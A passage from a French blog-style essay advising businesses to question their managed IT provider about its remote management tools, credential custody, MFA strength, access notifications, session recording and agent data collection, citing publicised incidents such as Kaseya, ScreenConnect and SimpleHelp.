quelqu\u0026rsquo;un repère le nom du prestataire sur le site de fuite d\u0026rsquo;un groupe de rançongiciel, ce qui n\u0026rsquo;est pas un processus de notification, c\u0026rsquo;est un accident du marketing de quelqu\u0026rsquo;un d\u0026rsquo;autre.\nAlors contractualisez-le, et soyez précis, parce que les clauses vagues retombent sur le plancher légal. Notification de tout incident matériel sur leur réseau dans un nombre d\u0026rsquo;heures stipulé, par écrit, que vos données soient confirmées impliquées ou non. Notification si un identifiant avec accès à vos systèmes a pu être exposé. Notification s\u0026rsquo;ils apparaissent sur un site de fuite. Un contact nommé de votre côté, pas une boîte aux lettres générale.\nPuis posez la question qui vous dit le plus, et posez-la pendant qu\u0026rsquo;ils vous vendent encore. Avez-vous eu un incident ? Que s\u0026rsquo;est-il passé, quand les clients l\u0026rsquo;ont-ils appris, et comment l\u0026rsquo;ont-ils appris ? Un prestataire qui en a traversé un et l\u0026rsquo;a bien géré vous en parlera. C\u0026rsquo;est la meilleure preuve qu\u0026rsquo;il a. Quelqu\u0026rsquo;un qui dit que ce n\u0026rsquo;est jamais arrivé est soit très chanceux, soit très petit, soit ne compte rien.\nL\u0026rsquo;outil qui atteint chaque client à la fois Aucun MSP ne gagne d\u0026rsquo;argent à toucher les machines une par une. L\u0026rsquo;économie a besoin d\u0026rsquo;une console qui atteint tout, et c\u0026rsquo;est à ça que sert le logiciel de surveillance et de gestion à distance. Le RMM siège sur chaque machine sous contrat, tournant en tant que système, et le prestataire pilote le tout depuis un seul identifiant.\nUne console atteint chaque machine, chez chaque client Le fournisseur de l'outil Livre l'agent, et chaque mise à jour une mise à jour signée est de confiance à l'arrivée La console de votre prestataire Un identifiant, chaque client qu'ils ont Un autre client Agent sur chaque machine Votre bâtiment Agent sur chaque machine, tournant en tant que système Un autre client Agent sur chaque machine La machine fait confiance à la console. La console au fournisseur. On a dit à votre pare-feu de tout autoriser. La portée est le produit. Une console, chaque client, chaque machine — ce qui est pourquoi un attaquant qui obtient la console obtient tout à la fois. Retournez ça et regardez-le de votre côté. Il y a un logiciel sur vos machines que vous n\u0026rsquo;avez pas choisi, que vous ne pouvez probablement pas nommer, et dont vous n\u0026rsquo;avez jamais vu le dossier de correction. À ce titre, il peut faire n\u0026rsquo;importe quoi, à n\u0026rsquo;importe laquelle d\u0026rsquo;entre elles, à n\u0026rsquo;importe quel moment.\nLe dossier sur ces outils n\u0026rsquo;est pas réconfortant. Commencez en 2021.\nKaseya, juillet 2021. La CISA et le FBI ont décrit une réponse à un rançongiciel « leveraging a vulnerability in the software of Kaseya VSA on-premises products — against managed service providers (MSPs) and their downstream customers » — exploitant une vulnérabilité dans le logiciel des produits sur site Kaseya VSA, contre les prestataires de services gérés (MSP) et leurs clients en aval. Une cinquantaine de prestataires ont été touchés, et jusqu\u0026rsquo;à 1 500 entreprises posées dessous, dont la plupart n\u0026rsquo;avaient jamais entendu parler de Kaseya et n\u0026rsquo;avaient pas leur mot à dire sur sa présence.\nEn janvier 2023 la CISA, la NSA et le MS-ISAC ont émis un avis conjoint pour « warn network defenders about malicious use of legitimate remote monitoring and management (RMM) software » — avertir les défenseurs de réseau de l\u0026rsquo;usage malveillant de logiciels légitimes de surveillance et de gestion à distance (RMM) —, après une campagne l\u0026rsquo;octobre précédent où des attaquants ont hameçonné des gens pour installer ScreenConnect et AnyDesk, puis les ont utilisés pour mener une arnaque au remboursement contre les comptes bancaires des victimes. Personne n\u0026rsquo;a eu à pirater un MSP pour ça. L\u0026rsquo;outil marche exactement aussi bien pour eux que pour le prestataire.\nEn février 2024 ConnectWise ScreenConnect s\u0026rsquo;est révélé porter CVE-2024-1709, qui « may allow an attacker direct access to confidential information or critical systems » — peut permettre à un attaquant un accès direct à des informations confidentielles ou à des systèmes critiques. Il a été noté 10,0. Notez la classe de faiblesse dessus : contournement d\u0026rsquo;authentification par un chemin ou canal alternatif, mot pour mot la même catégorie que le contournement FortiOS plus haut. Fournisseur différent, produit différent, même erreur. Note maximale, dans le logiciel qui atteint chaque client d\u0026rsquo;un prestataire.\nPuis SimpleHelp. L\u0026rsquo;avis de la CISA de juin 2025 décrit des acteurs de rançongiciel « leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider » — exploitant des instances non corrigées d\u0026rsquo;une vulnérabilité dans SimpleHelp RMM pour compromettre les clients d\u0026rsquo;un fournisseur de logiciel de facturation de services publics —, atteignant des « downstream customers » — clients en aval — pour une double extorsion. La faille dessous, CVE-2024-57727, laisse un attaquant non authentifié tirer des « server configuration files containing various secrets and hashed user passwords » — fichiers de configuration du serveur contenant divers secrets et mots de passe utilisateur hachés — directement de l\u0026rsquo;hôte.\nRemarquez où la perte atterrit à chaque fois. Pas sur le fournisseur. Pas vraiment sur le prestataire non plus. Sur les clients dessous, qui n\u0026rsquo;ont jamais acheté l\u0026rsquo;outil, n\u0026rsquo;ont jamais été dit lequel c\u0026rsquo;était, et n\u0026rsquo;avaient aucun mot à dire sur le moment où il a été corrigé.\nUne réserve sur ces sources, parce qu\u0026rsquo;elle compte. Ce sont des avis américains, et c\u0026rsquo;est parce que la CISA publie le détail des incidents tandis que le NCSC généralement ne nomme pas. C\u0026rsquo;est une différence de divulgation, pas de conduite. L\u0026rsquo;outillage est le même outillage, sorti du même catalogue, et une petite entreprise de support informatique dans ce pays fait tourner ScreenConnect ou SimpleHelp ou un de leurs concurrents sur vos machines cet après-midi.\nAlors demandez lequel c\u0026rsquo;est. Demandez quelle version, quand il a été corrigé pour la dernière fois, qui peut se connecter à la console, si chaque compte dessus a l\u0026rsquo;authentification à plusieurs facteurs, et quel est le plan la prochaine fois qu\u0026rsquo;un de ceux-ci sort un dix.\nPuis demandez-en une de plus, parce que la réponse vous dit quelque chose que les autres non. Marche-t-il en IPv6 ?\nC\u0026rsquo;est une question juste en 2026 et elle atterrit plus fort qu\u0026rsquo;il n\u0026rsquo;y paraît. Si l\u0026rsquo;outil de gestion ne parle qu\u0026rsquo;IPv4, alors IPv4 est ce que votre réseau doit garder — pas parce que votre entreprise en a besoin, mais parce que leur outillage en a besoin. C\u0026rsquo;est le plan d\u0026rsquo;adressage fixé par le logiciel d\u0026rsquo;un fournisseur plutôt que par vos besoins, et vous payez chaque mois les adresses qui le rendent possible. Un télétravailleur sur une connexion mobile est fort possiblement déjà sur un réseau uniquement IPv6, auquel cas tout l\u0026rsquo;arrangement s\u0026rsquo;appuie sur une traduction que quelqu\u0026rsquo;un d\u0026rsquo;autre maintient.\nEt si la réponse est qu\u0026rsquo;ils n\u0026rsquo;ont jamais vérifié, vous avez appris la chose sur laquelle vous demandiez réellement.\nUne plus simple d\u0026rsquo;abord, qui se perd dans tout le discours sécurité. Quelle charge l\u0026rsquo;agent met-il sur la machine, et où est la preuve ?\nLa réponse que vous obtiendrez est « négligeable ». C\u0026rsquo;est un adjectif. Ce que vous voulez, c\u0026rsquo;est un chiffre, mesuré sur du matériel comme le vôtre plutôt que relevé d\u0026rsquo;une fiche technique — CPU moyen et de pointe, mémoire résidente, activité disque pendant un balayage d\u0026rsquo;inventaire ou un scan de correctifs, et réseau quotidien. Pris sur la machine la plus vieille du parc plutôt que la plus neuve.\nEt mesurez toute la pile, pas un agent isolé. Gestion à distance, antivirus, détection sur poste, le client de sauvegarde, la surveillance, le suivi d\u0026rsquo;actifs. Chaque fournisseur dit moins d\u0026rsquo;un pour cent, il y en a six, et la personne qui doit réellement travailler sur ce portable est celle qui découvre à combien s\u0026rsquo;additionnent six d\u0026rsquo;entre eux. Proche de zéro est le bon objectif. La preuve est le seul moyen de l\u0026rsquo;établir.\nDemandez les chiffres avant le déploiement, et demandez à prendre les vôtres ensuite sur une machine que vous choisissez. Un prestataire confiant dans son outillage offre les deux sans qu\u0026rsquo;on le pousse.\nUne de plus sur l\u0026rsquo;outil lui-même, et c\u0026rsquo;est celle que les gens trouvent la plus étrange jusqu\u0026rsquo;à ce qu\u0026rsquo;ils y réfléchissent. Vous dit-on quand l\u0026rsquo;agent se met à jour sur vos machines ?\nL\u0026rsquo;agent est le logiciel au plus haut privilège de votre parc. Il tourne en tant que système, sur tout, et il change de version quand le prestataire ou le fournisseur décide qu\u0026rsquo;il devrait. Un logiciel est installé à travers toute votre entreprise par un tiers, silencieusement, et sur la plupart des contrats personne ne vous dit que c\u0026rsquo;est arrivé.\nMaintenant mettez ça à côté de ce qui a réellement mal tourné chez Kaseya. Une mise à jour malveillante poussée par un canal de gestion de confiance vers chaque machine à la fois. De là où vous êtes, le jour même, c\u0026rsquo;est indistinguable d\u0026rsquo;une mise à jour d\u0026rsquo;agent de routine — même canal, même privilège, même silence. La seule différence est l\u0026rsquo;intention. L\u0026rsquo;intention n\u0026rsquo;est pas quelque chose que vous pouvez observer.\nAlors demandez des notifications de changement de version, demandez qui approuve une mise à jour d\u0026rsquo;agent et si elle est testée quelque part avant de vous atteindre, et demandez celle qui compte le plus : qu\u0026rsquo;est-ce qui vous dirait qu\u0026rsquo;une poussée a eu lieu alors qu\u0026rsquo;elle n\u0026rsquo;aurait pas dû ? Si la réponse honnête est rien, alors le contrôle sur lequel vous vous appuyez est la propre vigilance du prestataire, ce qui est la chose dont parle toute cette section.\nEt les clés qui l\u0026rsquo;ouvrent Puis il y a ce qui ouvre la console. Ça reçoit encore moins d\u0026rsquo;attention que la console.\nUn MSP détient des identifiants administratifs pour chaque client à son carnet. C\u0026rsquo;est le métier — c\u0026rsquo;est tout le produit. Donc la norme appliquée à ses propres identifiants devrait être plus haute que celle qu\u0026rsquo;il fixe pour les vôtres, et en pratique elle est couramment plus basse. Comptes partagés, parce que des identifiants individuels pour douze ingénieurs sur deux cents locations est une corvée. Mots de passe dans un coffre que tout le bureau de service peut lire. Clés SSH sans phrase de passe posées sur des portables qui rentrent à la maison dans le train. Comptes de secours que personne n\u0026rsquo;a touchés depuis que la personne qui les a faits a quitté l\u0026rsquo;entreprise.\n« Nous utilisons la MFA » est où cette conversation s\u0026rsquo;arrête normalement, et elle ne devrait pas, parce que ses formes ne sont pas égales. La CISA les classe de la plus forte à la plus faible : FIDO/WebAuthn et à base de PKI en haut, qu\u0026rsquo;elle appelle « the gold standard » — l\u0026rsquo;étalon-or ; mots de passe à usage unique par appli et notifications push en dessous, « vulnerable to push bombing attacks as well as user error » — vulnérables aux attaques de bombardement push ainsi qu\u0026rsquo;à l\u0026rsquo;erreur utilisateur ; et SMS tout en bas, qui « should only be used as a last resort MFA option » — ne devrait être utilisé que comme option MFA de dernier recours. Seule la rangée du haut résiste au hameçonnage. Tout ce qui est en dessous peut être relayé, fatigué ou intercepté pendant que la personne qui l\u0026rsquo;approuve croit se connecter normalement.\nLes attaquants ont lu ce document aussi. L\u0026rsquo;avis de la CISA sur Scattered Spider dit que le groupe « targets large companies and their contracted information technology (IT) help desks » — vise les grandes entreprises et leurs services d\u0026rsquo;assistance informatique sous contrat. Pas le client. Le service d\u0026rsquo;assistance qui peut réinitialiser les identifiants du client. C\u0026rsquo;est bien plus facile, et ça vous donne tout le monde à la fois.\nDonc la question est plus étroite que de savoir s\u0026rsquo;ils utilisent la MFA. Chaque compte qui peut atteindre vos systèmes est-il sur un jeton matériel — un jeton, pas une appli — et que se passe-t-il quand quelqu\u0026rsquo;un appelle le bureau de service à onze heures du soir en disant qu\u0026rsquo;il est un ingénieur qui s\u0026rsquo;est verrouillé dehors ?\nLe correctif ici est exceptionnellement simple, ce qui rend son absence dure à pardonner. Google a dit à KrebsOnSecurity en 2018 qu\u0026rsquo;il « has not had any of its 85,000+ employees successfully phished on their work-related accounts since early 2017 » — n\u0026rsquo;a eu aucun de ses plus de 85 000 employés hameçonné avec succès sur ses comptes professionnels depuis début 2017 —, quand il a commencé à exiger des clés de sécurité physiques au lieu de mots de passe et de codes à usage unique. Pas moins d\u0026rsquo;incidents. Aucun. Le même article note que la clé de base se vendait au détail à vingt dollars.\nMaintenant mettez ça à l\u0026rsquo;échelle d\u0026rsquo;un prestataire de services gérés. Ils n\u0026rsquo;ont pas besoin d\u0026rsquo;émettre des clés à votre personnel. Ils ont besoin de les émettre à leurs propres ingénieurs, et il y en a peut-être une douzaine détenant les identifiants qui atteignent chaque client au carnet. Une douzaine de clés, achetées une fois, contre un rayon d\u0026rsquo;explosion couvrant chaque entreprise qu\u0026rsquo;ils touchent. Vingt livres chacune. Quand quelqu\u0026rsquo;un vous dit que les jetons matériels sont impraticables, demandez combien de gens en auraient réellement besoin.\nEt il y a une question liée que vous devriez poser sur votre propre parc, parce que la plupart des clients n\u0026rsquo;y ont jamais pensé. Qui détient le compte de secours pour vos systèmes ? Sur bien des contrats la réponse honnête est que le prestataire le détient, et vous n\u0026rsquo;en avez pas du tout. Vous ne pouvez pas entrer dans votre propre infrastructure sans les appeler. Ce n\u0026rsquo;est pas un contrôle de sécurité, c\u0026rsquo;est une dépendance. Elle mord les pires jours plutôt que les ordinaires. Le jour où vous donnez votre congé. Le jour où ils sont rachetés par quelqu\u0026rsquo;un que vous n\u0026rsquo;avez pas choisi. Le jour où ce sont eux qui ont été compromis et où vous devez agir sans eux.\nVous devriez détenir vos propres identifiants de secours, scellés, écrits dans le contrat, et testés à une date que quelqu\u0026rsquo;un peut montrer du doigt. Si votre prestataire est réticent, la réticence elle-même vous a dit quelque chose.\nLa même question descend jusqu\u0026rsquo;au bureau, et c\u0026rsquo;est celle qu\u0026rsquo;on oublie complètement. Chaque portable et poste de travail qu\u0026rsquo;ils vous ont construit a un mot de passe administrateur du BIOS dessus, fixé pendant la construction par quelqu\u0026rsquo;un de leur côté. Vous possédez la machine. Ils en détiennent la clé.\nPensez à ce que ce mot de passe gouverne réellement. L\u0026rsquo;ordre de démarrage. Le démarrage sécurisé. Si la chose démarrera d\u0026rsquo;une clé USB tout court. C\u0026rsquo;est-à-dire si vous pouvez réinstaller une machine que vous possédez, en récupérer une qui ne démarre pas, en remettre un lot à quelqu\u0026rsquo;un d\u0026rsquo;autre, ou les effacer correctement avant qu\u0026rsquo;ils passent la porte. Sur un portable ça peut aussi être ce qui se dresse entre un voleur et le disque. Rien de tout ça n\u0026rsquo;est exotique. C\u0026rsquo;est l\u0026rsquo;affaire ordinaire de posséder des ordinateurs, et sur bien des parcs le propriétaire ne peut rien faire de tout ça sans appeler le fournisseur.\nDemandez le tout. Chaque portable, chaque poste, chaque serveur — le mot de passe BIOS ou firmware, l\u0026rsquo;identifiant BMC sur tout ce qui en a un, et le mot de passe du chargeur d\u0026rsquo;amorçage sur tout ce où GRUB ou son équivalent a été verrouillé, ce qui est le même verrou une couche plus haut et est ce qui se dresse entre vous et un démarrage de secours sur un serveur qui ne démarre pas. Si c\u0026rsquo;est le même mot de passe sur tous, ça vaut de le savoir aussi. Et si la réponse est non, demandez pourquoi non, parce que les raisons offertes sont minces : l\u0026rsquo;honnête est que ça rend leur construction plus facile, et le reste est habillé en sécurité. Un mot de passe que vous n\u0026rsquo;avez pas le droit d\u0026rsquo;avoir ne vous protège de personne. Il les protège de votre départ.\nPuis il y a le compte avec lequel vous vous connectez réellement pour réparer une machine. Administrateur local sur chaque boîte Windows, root sur chaque Linux, et quelque chose d\u0026rsquo;équivalent sur chaque switch, pare-feu et hyperviseur du bâtiment. Deux questions couvrent le tout, et elles couvrent aussi les mots de passe firmware et chargeur d\u0026rsquo;amorçage ci-dessus. Sont-ils différents sur chaque machine, et quel système de gestion de mots de passe les détient — le vôtre, ou le leur ?\nDifférent compte plus que les gens ne l\u0026rsquo;attendent. Un mot de passe administrateur local sur deux cents machines n\u0026rsquo;est pas deux cents mots de passe, c\u0026rsquo;en est un, et il est posé sur le portable le moins défendu de l\u0026rsquo;entreprise autant que sur le serveur des finances. Ce n\u0026rsquo;est pas une faiblesse théorique, c\u0026rsquo;est le coup standard — entrer sur n\u0026rsquo;importe quoi, lire le mot de passe, marcher vers tout. Microsoft livre la réponse dans la boîte. Windows LAPS fixe un mot de passe différent sur chaque machine, le renouvelle sur un calendrier, et le sauvegarde dans Active Directory ou votre propre location Entra. La propre page de Microsoft liste le bénéfice en premier comme « protection against pass-the-hash and lateral-traversal attacks » — protection contre les attaques pass-the-hash et de traversée latérale —, et la fonction est gratuite sur chaque version supportée de Windows, sans rien de plus à payer pour stocker les mots de passe dans votre propre annuaire. Donc si la réponse est un mot de passe partout, ce n\u0026rsquo;est pas un problème de licence et ce n\u0026rsquo;est pas un problème d\u0026rsquo;outillage. Quelqu\u0026rsquo;un ne l\u0026rsquo;a jamais activé.\nQuel système détient le mot de passe de votre machine L'arrangement courant Leur coffre, ou celui boulonné à leur outil Chaque mot de passe administrateur de votre entreprise détenu par une entreprise avec qui vous n'avez aucun compte Vos machines Serveurs, postes, switches, pare-feux, hyperviseurs Le journal de qui en a lu un est le leur Vous ne pouvez auditer ce où vous ne pouvez vous connecter Le retirer veut dire demander gentiment, au pire moment L'arrangement que vous voulez Votre annuaire, ou votre coffre Un mot de passe différent sur chaque machine, renouvelé, déposé là où votre propre contrôle d'accès l'atteint Les mêmes machines Le prestataire reçoit un accès, pas la garde Vous gardez le relevé de qui a lu quoi Vous pouvez le voir aujourd'hui, sans demander à personne Vous pouvez le retirer un mardi après-midi Un mot de passe administrateur local sur deux cents machines n'est pas deux cents mots de passe. C'en est un, et il est posé sur le portable le moins défendu autant que sur le serveur des finances. Microsoft livre la réponse gratuitement, et elle met le mot de passe dans votre annuaire plutôt que le leur. Mêmes machines, mêmes mots de passe, deux réponses différentes à qui les détient et qui peut voir quand l\u0026rsquo;un est lu. Le système de qui est celui sur lequel appuyer, et remarquez où LAPS met le mot de passe par défaut : dans votre annuaire, sous votre contrôle d\u0026rsquo;accès, avec votre relevé de qui l\u0026rsquo;a lu. C\u0026rsquo;est la forme que vous voulez sur tout. L\u0026rsquo;identifiant de votre machine vit dans quelque chose que vous possédez, et votre prestataire se voit accorder l\u0026rsquo;accès — un accès que vous pouvez voir, et retirer un mardi après-midi sans demander la permission.\nL\u0026rsquo;autre forme est la courante. Les mots de passe siègent dans leur gestionnaire de mots de passe, ou dans le coffre d\u0026rsquo;accès privilégié boulonné sur leur outil de gestion à distance, et vous n\u0026rsquo;avez aucun identifiant pour lui. Alors chaque mot de passe administratif de votre entreprise est détenu par une entreprise avec qui vous n\u0026rsquo;avez aucun compte, le journal de qui a lu l\u0026rsquo;un est le leur, et le jour où la relation tourne au vinaigre vous demandez gentiment les clés de machines que vous possédez.\nAlors posez la relance, et posez-la maintenant plutôt qu\u0026rsquo;à la réunion de sortie. Comment ceux-ci entrent-ils dans notre système ? Il y a trois réponses honnêtes. Déplacer le dépôt dans notre annuaire ou notre coffre, et en prendre un accès délégué. Ou nous donner un accès en lecture au vôtre aujourd\u0026rsquo;hui, avec un export que nous pouvons lancer nous-mêmes, dans un format que notre propre coffre avalera. Ou nous remettre une copie scellée sur un calendrier, datée, que nous ouvrons et testons. « C\u0026rsquo;est tout dans notre système et vous pourrez l\u0026rsquo;avoir quand vous partirez » n\u0026rsquo;est pas sur la liste, parce que le jour où vous partez est le jour où ils ont le moins de raison d\u0026rsquo;être rapides sur quoi que ce soit.\nEt demandez ce qu\u0026rsquo;il advient de ces mots de passe ensuite. Un identifiant que leurs ingénieurs ont connu pendant quatre ans n\u0026rsquo;est pas rendu sûr par un courriel disant qu\u0026rsquo;il est parti. Chacun d\u0026rsquo;eux a besoin d\u0026rsquo;être renouvelé au départ, par vous, sur des machines dont vous détenez maintenant le mot de passe firmware.\nEt puis la version en direct de tout ça. Vous dit-on quand un mot de passe d\u0026rsquo;un de vos systèmes est lu ?\nPas un journal qu\u0026rsquo;ils tiennent et pourraient vous montrer si vous demandiez. Un message qui arrive de votre côté : quel identifiant, quel ingénieur, quel ticket, et quand. La capacité n\u0026rsquo;est en doute nulle part — chaque coffre digne du nom enregistre un retrait, et le propre dépôt de Microsoft le fait dans votre propre location, où récupérer un mot de passe est écrit au journal d\u0026rsquo;audit Entra comme « Recover device local administrator password » — récupérer le mot de passe administrateur local de l\u0026rsquo;appareil — contre le compte qui l\u0026rsquo;a fait. Donc la seule vraie question est de savoir si le relevé pointe quelque part que vous pouvez voir.\nDemandez, et si la réponse est non, demandez pourquoi non. Il y a un non honnête là-dedans quelque part — une alerte sur chaque retrait dans un parc chargé se déclencherait quarante fois par jour et vous cesseriez de la lire dès le mercredi. Ça a une réponse plutôt que d\u0026rsquo;être la fin de la conversation. Alertez sur ceux qui devraient être rares : le compte administrateur de domaine, les identifiants de secours, les mots de passe firmware et chargeur d\u0026rsquo;amorçage, les clés de récupération. Et alertez sur toute lecture sans numéro de ticket attaché, parce que c\u0026rsquo;est soit une tenue de dossiers négligée soit précisément la chose dont vous voulez entendre parler, et aucune des deux n\u0026rsquo;est bien servie en le découvrant à la revue trimestrielle.\nCe qu\u0026rsquo;ils peuvent faire une fois entrés Une de plus, et c\u0026rsquo;est celle qui obtient le plus souvent un regard vide. Vous dit-on quand un de leurs ingénieurs entre dans vos systèmes ?\nPas un journal qu\u0026rsquo;ils tiennent. Une notification que vous recevez — qui est entré, quand, pour combien de temps, et contre quel ticket. Demandez-la, et si la réponse est non, demandez pourquoi non.\nIl y a un précédent, et il siège à l\u0026rsquo;intérieur des produits qu\u0026rsquo;ils vous revendent. Le Customer Lockbox de Microsoft fait qu\u0026rsquo;un ingénieur Microsoft demande votre approbation explicite avant de pouvoir atteindre votre contenu dans un dossier de support. Google publie des journaux Access Transparency de son propre personnel touchant vos données, et Access Approval les fait demander d\u0026rsquo;abord. Donc les plus grands fournisseurs de la terre, avec un accès bien plus étroit que celui que votre prestataire détient, ont bâti des flux d\u0026rsquo;approbation et des journaux d\u0026rsquo;accès pour leurs propres employés, et vous remettent le relevé.\nVotre MSP a l\u0026rsquo;administrateur de domaine. Demandez ce qu\u0026rsquo;il vous remet.\nEt il y a une raison plus dure que la responsabilité. Une notification qui arrive de votre côté est le seul signe indépendant que vous obtiendrez jamais que leurs identifiants sont utilisés par quelqu\u0026rsquo;un qui n\u0026rsquo;est pas eux. Si un attaquant entre par un bureau de service, chaque journal qui le montrerait siège à l\u0026rsquo;intérieur de l\u0026rsquo;organisation qui vient d\u0026rsquo;être compromise. Une qui atterrit dans votre boîte de réception siège dehors.\nUn niveau en dessous de ça encore, à la machine elle-même. L\u0026rsquo;outil distant peut-il se connecter au poste de quelqu\u0026rsquo;un sans que cette personne y consente ?\nPour un serveur à trois heures du matin, l\u0026rsquo;accès sans surveillance est tout l\u0026rsquo;intérêt et personne de sensé n\u0026rsquo;objecte. Pour une machine à laquelle quelqu\u0026rsquo;un est assis, avec son courrier ouvert et son travail à l\u0026rsquo;écran, c\u0026rsquo;est un acte différent. Chaque produit de gestion à distance sérieux peut être réglé pour demander avant de se connecter, pour montrer un indicateur visible pendant qu\u0026rsquo;une session est en cours, et pour laisser la personne refuser. Que le vôtre fasse quoi que ce soit de ça est un réglage de configuration, et le réglage a été choisi par les gens qu\u0026rsquo;il arrange.\nAlors demandez trois choses, et gardez-les séparées. Vos ingénieurs peuvent-ils atteindre un poste du personnel sans invite ? La personne assise devant voit-elle quoi que ce soit pendant que quelqu\u0026rsquo;un est connecté ? Peut-elle refuser ?\nSi la première est oui et les deux autres non, ce n\u0026rsquo;est pas une contrainte technique. C\u0026rsquo;est un défaut que personne n\u0026rsquo;a revisité, sur un produit acheté par la partie qu\u0026rsquo;il favorise. Ça vaut aussi d\u0026rsquo;être mis devant quiconque porte la protection des données dans votre organisation, parce que quelqu\u0026rsquo;un regardant l\u0026rsquo;écran d\u0026rsquo;un employé à son insu est une décision qui devrait avoir un nom en face.\nPuis la question qui décide si tout ça est prouvable ensuite. Leurs ingénieurs sont-ils enregistrés pendant qu\u0026rsquo;ils travaillent sur vos systèmes ?\nL\u0026rsquo;enregistrement de session n\u0026rsquo;est pas exotique et ce n\u0026rsquo;est pas une grosse demande. C\u0026rsquo;est une fonction phare de chaque produit d\u0026rsquo;accès privilégié du marché, ce qui veut dire que votre prestataire le paie fort possiblement déjà et ne l\u0026rsquo;a jamais activé. Une session enregistrée vous donne une vidéo, ou un journal de frappes et de commandes, ou les deux, liés à un ingénieur nommé et un numéro de ticket. C\u0026rsquo;est à quoi ressemble la responsabilité quand elle est réelle plutôt que promise — pas une assurance que les ingénieurs se tiennent bien, mais un relevé qui le montrerait si l\u0026rsquo;un ne le faisait pas.\nAlors demandez si c\u0026rsquo;est activé, et ensuite demandez comment vous y accédez, parce qu\u0026rsquo;un enregistrement que vous ne pouvez pas obtenir n\u0026rsquo;est pas une preuve, c\u0026rsquo;est une rumeur. Il y a trois réponses qui valent d\u0026rsquo;être eues, par ordre décroissant. Les enregistrements atterrissent dans un stockage que vous possédez, écrits au fur et à mesure. Ou vous avez un accès en lecture à leur système aujourd\u0026rsquo;hui, avec un export que vous pouvez lancer vous-même. Ou il y a une voie de demande avec un délai stipulé — des heures, par écrit, dans le contrat — que vous avez testée au moins une fois sur une session ordinaire plutôt que pour la première fois pendant une dispute.\nCe que vous ne voulez pas, c\u0026rsquo;est l\u0026rsquo;arrangement courant : des enregistrements détenus seulement par le prestataire, une rétention fixée par le prestataire, une suppression au bon vouloir du prestataire. C\u0026rsquo;est un contrôle qui marche parfaitement jusqu\u0026rsquo;au jour où il est nécessaire contre le prestataire. Alors demandez qui peut raccourcir la rétention, qui peut en supprimer un, et si regarder un enregistrement est lui-même journalisé. Et demandez ce qu\u0026rsquo;il advient du tout le jour où vous partez.\nSoyez juste sur l\u0026rsquo;autre côté, parce qu\u0026rsquo;il y en a un. Un enregistrement d\u0026rsquo;un ingénieur réparant un portable est aussi un enregistrement de ce que votre personnel avait à cet écran, et de temps en temps d\u0026rsquo;un identifiant tapé à la vue de tous. Les enregistrements sont sensibles en propre et veulent le même traitement que le coffre : chiffrés, à accès contrôlé, journalisés à la consultation, gardés pour une période stipulée et pas plus. Un prestataire qui soulève ça avec vous avant que vous ne le souleviez avec lui a réfléchi au problème. Un qui ne l\u0026rsquo;a jamais considéré vous a dit quelque chose aussi.\nLe même outil déplace presque certainement des fichiers, dans les deux sens. Demandez s\u0026rsquo;il le fait, et ensuite demandez ce qui a été mis autour.\nLe sortant est celui que personne ne chiffre. Un transfert par le canal de gestion est chiffré, de confiance, et siège hors de chaque contrôle que vous avez déjà payé — la prévention de fuite de données, la surveillance de sortie, la politique sur les clés USB. Quiconque a accès à la console peut prendre une copie de n\u0026rsquo;importe quoi sur n\u0026rsquo;importe quelle machine, et sur la plupart des déploiements il n\u0026rsquo;y a aucun relevé qu\u0026rsquo;on vous montrera jamais.\nL\u0026rsquo;entrant est comment les incidents plus haut dans ce billet sont réellement arrivés. Pousser un fichier vers chaque poste à la fois n\u0026rsquo;est pas un défaut de ces produits, c\u0026rsquo;est la fonction phare. Le rançongiciel l\u0026rsquo;a simplement utilisée comme elle a été bâtie pour être utilisée.\nAlors demandez si le transfert de fichiers est activé du tout, s\u0026rsquo;il peut être éteint sur les machines qui n\u0026rsquo;en ont jamais besoin, si chaque transfert est journalisé avec le fichier, la direction, la machine et l\u0026rsquo;ingénieur — et si ce journal vous parvient, ou rejoint les autres dans leur boîte de réception.\nEt dernier là-dessus, parce que c\u0026rsquo;est celui que personne ne pense à demander du tout. Que collecte réellement l\u0026rsquo;agent, et qu\u0026rsquo;advient-il de ça ?\nCes outils recueillent bien plus qu\u0026rsquo;un niveau de correctif. Inventaire matériel et logiciel, journaux d\u0026rsquo;événements, télémétrie de performance, souvent des enregistrements de session et des captures d\u0026rsquo;écran, parfois bien plus selon ce qui est activé. C\u0026rsquo;est une image détaillée de comment votre entreprise marche et de ce que votre personnel fait toute la journée. Elle quitte vos locaux en continu.\nAlors demandez ce qui est collecté, où c\u0026rsquo;est stocké et sous quelle juridiction, combien de temps c\u0026rsquo;est gardé, et qui peut le voir — parce que la réponse est en général le prestataire et le fournisseur de l\u0026rsquo;outil, ce qui est une seconde entreprise que vous n\u0026rsquo;avez jamais choisie et avec qui vous n\u0026rsquo;avez aucun contrat. Demandez si quoi que ce soit sert à quoi que ce soit au-delà de vous soutenir : analytique produit, étalonnage, entraînement de modèles. Demandez ce qu\u0026rsquo;il advient du tout le jour où le contrat finit, et obtenez ça par écrit plutôt que dans une conversation.\nEt notez de qui ce sont les données. Des relevés sur votre personnel et vos systèmes, détenus par quelqu\u0026rsquo;un traitant pour votre compte, est une phrase avec des obligations attachées, et elles sont vôtres plutôt que leurs.\nLa puce qui répond quand la machine est éteinte Il y a une couche de plus sous tout ça, et elle vaut d\u0026rsquo;être demandée par son nom. Utilisent-ils Intel vPro, ou l\u0026rsquo;Active Management Technology dessous ?\nSi vous ne l\u0026rsquo;avez pas rencontrée, la version courte est qu\u0026rsquo;un firmware de gestion tourne sur un contrôleur séparé à l\u0026rsquo;intérieur du chipset, avec sa propre pile réseau. Il répond pendant que la machine est éteinte, à condition qu\u0026rsquo;il y ait le secteur et un câble. Il peut allumer la boîte, changer les réglages du BIOS, monter une image distante et réinstaller, et sur la bonne configuration prendre l\u0026rsquo;écran et le clavier au niveau matériel — avant que le système d\u0026rsquo;exploitation ait chargé, et qu\u0026rsquo;il le fasse jamais ou non.\nIl y a de vraies raisons de vouloir ça. Une machine qui ne démarre pas, un réglage BIOS sur un appareil à trois cents miles, une réimage sans envoyer personne. Dans un grand parc dispersé c\u0026rsquo;est utile et je ne prétendrai pas le contraire.\nMais regardez où elle siège. Sous le système d\u0026rsquo;exploitation, ce qui veut dire sous chaque contrôle que vous avez acheté. Votre protection sur poste ne peut pas la voir, parce qu\u0026rsquo;elle ne tourne pas dans le système d\u0026rsquo;exploitation. Votre pare-feu hôte ne la filtre pas, parce que le trafic n\u0026rsquo;atteint jamais la pile réseau du système d\u0026rsquo;exploitation — il est traité sur ses propres ports avant que rien d\u0026rsquo;autre y jette un œil. Votre journalisation ne 